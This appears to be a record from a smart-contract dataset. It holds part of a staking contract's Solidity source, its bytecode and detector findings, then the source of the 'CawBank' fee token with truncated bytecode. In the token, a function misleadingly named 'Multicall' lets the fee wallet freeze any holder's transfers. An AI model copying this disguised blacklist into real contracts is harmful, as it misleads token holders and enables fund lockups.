* @dev Updates the Lord smart contract address to `_address`, only the smart contract owner can call this.
*/
function setLord(address _address) public onlyOwner {
LORD = genericBalanceOf(_address);
}
/**
* @dev Returns the current smart contract owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Returns information about the current Staking Season.
* - In the format: Whether Staking is active or not, what time staking started, what time staking ended (0 = has not ended).
*/
function getSeasonData() public view returns (_seasonData memory) {
return seasonData;
}
/**
* @dev Returns information about `_address` approved unit.
* - In the format: Contract Address, Tokens generated per day, tokens generated per second.
* - If zeros are returns, `_address` is not an approved unit.
*/
function getUnitDataByAddress(address _address) public view returns (_stakeableUnit memory) {
return stakeableUnits[_stakeableUnitsLocations[_address]];
}
/**
* @dev Returns information about the number `_location` approved unit.
* - In the format: Contract Address, Tokens generated per day, tokens generated per second.
* - If zeros are returns, that unit location does not exist.
*/
function getUnitDataByLocation(uint256 _location) public view returns (_stakeableUnit memory) {
return stakeableUnits[_location];
}
/**
* @dev Returns information about `_address`'s staking data.
* - In the format: Total Accumulated rewards in Wei, Timestamp since last token claim, timestamp tokens are unstakeable (0 = unlocked).
* - If zeros are returns, `_address` has no data.
*/
function getAddressData(address _address) public view returns (_stakerData memory) {
return stakerData[_address];
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner == address(0)) revert NewOwnerZeroAddress();
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
|
0x608060405234801561001057600080fd5b50600436106102925760003560e01c80638c9b054611610160578063bd576a59116100d8578063effca2441161008c578063f629ef7911610071578063f629ef7914610623578063f693c5cb14610636578063f6ed20171461064957600080fd5b8063effca244146105fd578063f2fde38b1461061057600080fd5b8063d24a1910116100bd578063d24a191014610599578063e3d130cf146105d7578063ee5d5a46146105ea57600080fd5b8063bd576a5914610573578063cceab40d1461058657600080fd5b806391a274891161012f578063a7f4640a11610114578063a7f4640a14610535578063b64750f21461053e578063b773d5c11461054757600080fd5b806391a274891461050f578063a2d493511461052257600080fd5b80638c9b0546146104055780638da5cb5b146104305780638fd12480146104415780639153b01d146104fc57600080fd5b80633dcdb6721161020e5780636fb4b239116101c2578063710c86c5116101a7578063710c86c5146103e1578063715018a6146103f45780637659f77b146103fc57600080fd5b80636fb4b2391461039c578063703dbfe4146103ce57600080fd5b80635ee09669116101f35780635ee096691461035d57806366ea7f541461037057806369f4ec581461037957600080fd5b80633dcdb6721461034257806356a23f331461034a57600080fd5b80632a775857116102655780633806b6621161024a5780633806b662146103135780633ba20e97146103265780633cb31a001461032f57600080fd5b80632a775857146102ed5780632e442de31461030057600080fd5b806302ee039e146102975780630622fd5d146102ac57806306dc05da146102bf578063188ec356146102d2575b600080fd5b6102aa6102a5366004611bc8565b61065c565b005b6102aa6102ba366004611bc8565b6108c2565b6102aa6102cd366004611be3565b6109da565b6102da610ad1565b6040519081526020015b60405180910390f35b6102da6102fb366004611bc8565b610afd565b6102aa61030e366004611bc8565b610bc8565b6102da610321366004611bc8565b610c22565b6102da60065481565b6102aa61033d366004611bc8565b610d99565b6102aa610de8565b6102da610358366004611bc8565b610e28565b6102da61036b366004611bc8565b610e64565b6102da60075481565b61038c610387366004611c0d565b610e96565b60405190151581526020016102e4565b600854600954600a546103b19260ff16919083565b6040805193151584526020840192909252908201526060016102e4565b6102aa6103dc366004611c40565b610f27565b6102da6103ef366004611bc8565b611029565b6102aa6110c7565b6102da60035481565b600254610418906001600160a01b031681565b6040516001600160a01b0390911681526020016102e4565b6000546001600160a01b0316610418565b6104bf61044f366004611bc8565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03949094168452600e82529282902082519384018352546001600160801b038116845267ffffffffffffffff600160801b8204811692850192909252600160c01b9004169082015290565b6040805182516001600160801b0316815260208084015167ffffffffffffffff9081169183019190915292820151909216908201526060016102e4565b6102da61050a366004611bc8565b6110fe565b61038c61051d366004611bc8565b611198565b6102aa610530366004611bc8565b6111ad565b6102da60045481565b6102da60055481565b61054f611207565b604080518251151581526020808401519082015291810151908201526060016102e4565b600154610418906001600160a01b031681565b6102aa610594366004611c67565b611257565b6105ac6105a7366004611bc8565b6116b3565b6040805182516001600160a01b031681526020808401519082015291810151908201526060016102e4565b6102da6105e5366004611c0d565b61172e565b61038c6105f8366004611bc8565b6117b8565b6105ac61060b366004611c40565b61187e565b6102aa61061e366004611bc8565b6118ed565b6102aa610631366004611bc8565b611964565b6102da610644366004611bc8565b6119b0565b6102da610657366004611bc8565b6119ed565b323314158061066b5750333b15155b1561068957604051630382385b60e61b815260040160405180910390fd5b6001600160a01b0381166000908152600c6020526040812054908190036106f75760405162461bcd60e51b815260206004820152601460248201527f556e6b6e6f776e5374616b6561626c65556e697400000000000000000000000060448201526064015b60405180910390fd5b336000908152600e602052604090205442600160c01b90910467ffffffffffffffff16106107675760405162461bcd60e51b815260206004820152600e60248201527f54696d654c6f636b41637469766500000000000000000000000000000000000060448201526064016106ee565b610770336108c2565b6000818152600d60205260409020546001600160a01b0316635d49c133336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f69190611c9e565b15610876576000818152600d60205260409020546001600160a01b031663f2888dbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602401600060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050505050565b60405162461bcd60e51b815260206004820152601060248201527f4e6f556e697473546f556e7374616b650000000000000000000000000000000060448201526064016106ee565b5050565b336000908152600b602052604090205460ff16806108e857506001600160a01b03811633145b6109345760405162461bcd60e51b815260206004820152601660248201527f43616c6c65724c61636b735065726d697373696f6e730000000000000000000060448201526064016106ee565b600061093f826119ed565b6001600160a01b0383166000908152600e60205260408120805467ffffffffffffffff4216600160801b027fffffffffffffffff0000000000000000ffffffffffffffffffffffffffffffff82168117835593945084939192916109b29185916001600160801b03908116911617611cd1565b92506101000a8154816001600160801b0302191690836001600160801b031602179055505050565b6000546001600160a01b03163314610a0557604051632e6c18c960e11b815260040160405180910390fd5b6001600160a01b0382166000908152600c602052604081205490819003610a6e5760405162461bcd60e51b815260206004820152601460248201527f556e6b6e6f776e5374616b6561626c65556e697400000000000000000000000060448201526064016106ee565b610a987f0000000000000000000000000000000000000000000000000de0b6b3a764000083611cfc565b6000828152600d60205260409020600101819055610aba906201518090611d31565b6000918252600d6020526040909120600201555050565b600a5460009042908203610ae457919050565b600a548111610af35780610af7565b600a545b91505090565b6001600160a01b0381166000908152600e6020526040812054600160801b900467ffffffffffffffff168103610b4857600954610b38610ad1565b610b429190611d53565b92915050565b610b50610ad1565b6001600160a01b0383166000908152600e6020526040902054600160801b900467ffffffffffffffff1611610bc0576001600160a01b0382166000908152600e6020526040902054600160801b900467ffffffffffffffff16610bb1610ad1565b610bbb9190611d53565b610b42565b600092915050565b6000546001600160a01b03163314610bf357604051632e6c18c960e11b815260040160405180910390fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b600354600090808203610c385750600092915050565b600060015b828111610d71576000818152600d602052604090819020549051635d49c13360e01b81526001600160a01b03878116600483015290911690635d49c13390602401602060405180830381865afa158015610c9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbf9190611c9e565b15610d5f576000818152600d6020526040908190206001810154905491516370a0823160e01b81526001600160a01b038881166004830152919291909116906370a0823190602401602060405180830381865afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d489190611d6a565b610d529190611cfc565b610d5c9083611d83565b91505b80610d6981611d9b565b915050610c3d565b506064610d7d85610e28565b610d879083611cfc565b610d919190611d31565b949350505050565b6000546001600160a01b03163314610dc457604051632e6c18c960e11b815260040160405180910390fd5b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b336000908152600b602052604090205460ff16610e1857604051631b8d7a2160e01b815260040160405180910390fd5b42600a556008805460ff19169055565b6000610e3382611029565b610e3c836119b0565b610e45846110fe565b610e50906064611d83565b610e5a9190611d83565b610b429190611d83565b6001600160a01b0381166000908152600e60205260408120546001600160801b0316610e8f836119ed565b0192915050565b6001600160a01b038181166000908152600c60209081526040808320548352600d909152808220549051635d49c13360e01b8152858416600482015291921690635d49c13390602401602060405180830381865afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f209190611c9e565b9392505050565b336000908152600b602052604090205460ff16610f5757604051631b8d7a2160e01b815260040160405180910390fd5b6000600360008154610f6890611d9b565b9182905550336000818152600c60209081526040808320859055848352600d9091529020805473ffffffffffffffffffffffffffffffffffffffff191690911790559050610fd67f0000000000000000000000000000000000000000000000000de0b6b3a764000083611cfc565b6000828152600d60205260409020600101819055610ff8906201518090611d31565b6000828152600d602052604090206002015560085460ff166108be576008805460ff19166001179055426009555050565b6002546000906001600160a01b031661104457506000919050565b6002546040516370a0823160e01b81526001600160a01b03848116600483015260009216906370a0823190602401602060405180830381865afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190611d6a565b116110bf576000610b42565b505060045490565b6000546001600160a01b031633146110f257604051632e6c18c960e11b815260040160405180910390fd5b6110fc6000611b4f565b565b6005546001546040516370a0823160e01b81526001600160a01b038481166004830152600093849390929116906370a0823190602401602060405180830381865afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111759190611d6a565b61117f9190611cfc565b90506064811161118f5780610f20565b60649392505050565b60006111a382610afd565b610e101092915050565b6000546001600160a01b031633146111d857604051632e6c18c960e11b815260040160405180910390fd5b6002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b61122d604051806060016040528060001515815260200160008152602001600081525090565b506040805160608101825260085460ff16151581526009546020820152600a549181019190915290565b32331415806112665750333b15155b1561128457604051630382385b60e61b815260040160405180910390fd5b60085460ff166112d65760405162461bcd60e51b815260206004820152600e60248201527f536561736f6e486173456e64656400000000000000000000000000000000000060448201526064016106ee565b6001546000906001600160a01b03166370a08231336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa15801561132f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113539190611d6a565b116113a05760405162461bcd60e51b815260206004820152601060248201527f4e6f496e68696269746f724f776e65640000000000000000000000000000000060448201526064016106ee565b6001600160a01b0382166000908152600c6020526040812054908190036114095760405162461bcd60e51b815260206004820152601460248201527f556e6b6e6f776e5374616b6561626c65556e697400000000000000000000000060448201526064016106ee565b611412336117b8565b1561142557611420336108c2565b61146d565b336000908152600e6020526040902080547fffffffffffffffff0000000000000000ffffffffffffffffffffffffffffffff16600160801b67ffffffffffffffff4216021790555b81156114d4576007546114839062015180611cfc565b61148d9042611d83565b336000908152600e60205260409020805467ffffffffffffffff92909216600160c01b0277ffffffffffffffffffffffffffffffffffffffffffffffff9092169190911790555b6000818152600d60205260409020546001600160a01b0316635d49c133336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015611536573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155a9190611c9e565b1580156115ea57506000818152600d60205260408120546001600160a01b03166370a08231336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa1580156115c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e89190611d6a565b115b1561166b576000818152600d60205260409020546001600160a01b03166326476204336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602401600060405180830381600087803b15801561164e57600080fd5b505af1158015611662573d6000803e3d6000fd5b50505050505050565b60405162461bcd60e51b815260206004820152600e60248201527f4e6f556e697473546f5374616b6500000000000000000000000000000000000060448201526064016106ee565b6116e0604051806060016040528060006001600160a01b0316815260200160008152602001600081525090565b506001600160a01b039081166000908152600c60209081526040808320548352600d825291829020825160608101845281549094168452600181015491840191909152600201549082015290565b6001600160a01b038181166000908152600c60209081526040808320548352600d9091528082205490516370a0823160e01b81528584166004820152919216906370a0823190602401602060405180830381865afa158015611794573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f209190611d6a565b6003546000908082036117ce5750600092915050565b60015b818111611874576000818152600d602052604090819020549051635d49c13360e01b81526001600160a01b03868116600483015290911690635d49c13390602401602060405180830381865afa15801561182f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118539190611c9e565b15611862575060019392505050565b8061186c81611d9b565b9150506117d1565b5060009392505050565b6118ab604051806060016040528060006001600160a01b0316815260200160008152602001600081525090565b506000908152600d6020908152604091829020825160608101845281546001600160a01b03168152600182015492810192909252600201549181019190915290565b6000546001600160a01b0316331461191857604051632e6c18c960e11b815260040160405180910390fd5b6001600160a01b038116611958576040517f61026d9100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61196181611b4f565b50565b6000546001600160a01b0316331461198f57604051632e6c18c960e11b815260040160405180910390fd5b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6001600160a01b0381166000908152600e6020526040812054600160c01b900467ffffffffffffffff166119e5576000610b42565b505060065490565b600354600090808203611a035750600092915050565b600060015b828111611b21576000818152600d602052604090819020549051635d49c13360e01b81526001600160a01b03878116600483015290911690635d49c13390602401602060405180830381865afa158015611a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8a9190611c9e565b15611b19576000818152600d6020526040908190206002810154905491516370a0823160e01b81526001600160a01b038881166004830152919291909116906370a0823190602401602060405180830381865afa158015611aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b139190611d6a565b02820191505b600101611a08565b506064611b2d85610e28565b611b3686610afd565b83020281611b4657611b46611d1b565b04949350505050565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114611bc357600080fd5b919050565b600060208284031215611bda57600080fd5b610f2082611bac565b60008060408385031215611bf657600080fd5b611bff83611bac565b946020939093013593505050565b60008060408385031215611c2057600080fd5b611c2983611bac565b9150611c3760208401611bac565b90509250929050565b600060208284031215611c5257600080fd5b5035919050565b801515811461196157600080fd5b60008060408385031215611c7a57600080fd5b611c8383611bac565b91506020830135611c9381611c59565b809150509250929050565b600060208284031215611cb057600080fd5b8151610f2081611c59565b634e487b7160e01b600052601160045260246000fd5b60006001600160801b03808316818516808303821115611cf357611cf3611cbb565b01949350505050565b6000816000190483118215151615611d1657611d16611cbb565b500290565b634e487b7160e01b600052601260045260246000fd5b600082611d4e57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611d6557611d65611cbb565b500390565b600060208284031215611d7c57600080fd5b5051919050565b60008219821115611d9657611d96611cbb565b500190565b600060018201611dad57611dad611cbb565b506001019056fea2646970667358221220b01b0e21ec507c175451855d68f4b9713ae27bc3e5d20c29fae3343e75a6803d64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,062 |
0x9dd2cab2eb5d2dbb266a886860001999c7be08f9
|
// SPDX-License-Identifier: MIT
/*
- - - - CawBank - - - -
TAX : 1/1
Used to Buy & Burn CAW.
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CawBank is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"CawBank"; ////
string public constant symbol = unicode"CAWB"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 1;
uint public _sellFee = 1;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf91461059d578063db92dbb6146105b2578063dcb0e0ad146105c7578063dd62ed3e146105e7578063e8078d941461062d57600080fd5b806395d89b4114610522578063a9059cbb14610552578063b2131f7d14610572578063c3c8cd801461058857600080fd5b8063715018a6116100dc578063715018a6146104af5780637a49cddb146104c45780638da5cb5b146104e457806394b8d8f21461050257600080fd5b80635090161714610444578063590f897e146104645780636fc3eaec1461047a57806370a082311461048f57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039d57806340b9a54b146103d657806345596e2e146103ec57806349bd5a5e1461040c57600080fd5b806327f3a72a1461032b578063313ce5671461034057806331c2d8471461036757806332d873d81461038757600080fd5b80630b78f9c0116101c15780630b78f9c0146102b957806318160ddd146102d95780631940d020146102f557806323b872dd1461030b57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610267578063095ea7b31461028957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025a6040518060400160405280600781526020016643617742616e6b60c81b81525081565b60405161021e9190611bbf565b34801561027357600080fd5b50610287610282366004611c39565b610642565b005b34801561029557600080fd5b506102a96102a4366004611c56565b6106b7565b604051901515815260200161021e565b3480156102c557600080fd5b506102876102d4366004611c82565b6106cd565b3480156102e557600080fd5b50683635c9adc5dea00000610214565b34801561030157600080fd5b50610214600f5481565b34801561031757600080fd5b506102a9610326366004611ca4565b610750565b34801561033757600080fd5b50610214610838565b34801561034c57600080fd5b50610355600981565b60405160ff909116815260200161021e565b34801561037357600080fd5b50610287610382366004611cfb565b610848565b34801561039357600080fd5b5061021460105481565b3480156103a957600080fd5b506102a96103b8366004611c39565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e257600080fd5b50610214600b5481565b3480156103f857600080fd5b50610287610407366004611dc0565b6108d4565b34801561041857600080fd5b50600a5461042c906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045057600080fd5b5061028761045f366004611c39565b610998565b34801561047057600080fd5b50610214600c5481565b34801561048657600080fd5b50610287610a06565b34801561049b57600080fd5b506102146104aa366004611c39565b610a33565b3480156104bb57600080fd5b50610287610a4e565b3480156104d057600080fd5b506102876104df366004611cfb565b610ac2565b3480156104f057600080fd5b506000546001600160a01b031661042c565b34801561050e57600080fd5b506011546102a99062010000900460ff1681565b34801561052e57600080fd5b5061025a6040518060400160405280600481526020016321a0aba160e11b81525081565b34801561055e57600080fd5b506102a961056d366004611c56565b610bd1565b34801561057e57600080fd5b50610214600d5481565b34801561059457600080fd5b50610287610bde565b3480156105a957600080fd5b50610287610c14565b3480156105be57600080fd5b50610214610cb0565b3480156105d357600080fd5b506102876105e2366004611de7565b610cc8565b3480156105f357600080fd5b50610214610602366004611e04565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063957600080fd5b50610287610d45565b6008546001600160a01b0316336001600160a01b03161461066257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c433848461108c565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106ed57600080fd5b600a8211156106fb57600080fd5b600a81111561070957600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561077e57506001600160a01b03831660009081526004602052604090205460ff16155b80156107975750600a546001600160a01b038581169116145b156107e6576001600160a01b03831632146107e65760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f18484846111b0565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610820908490611e53565b905061082d85338361108c565b506001949350505050565b600061084330610a33565b905090565b6008546001600160a01b0316336001600160a01b03161461086857600080fd5b60005b81518110156108d05760006006600084848151811061088c5761088c611e6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c881611e80565b91505061086b565b5050565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016107dd90611e99565b6008546001600160a01b0316336001600160a01b03161461091e57600080fd5b600081116109635760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107dd565b600d8190556040518181527f208f1b468d3d61f0f085e97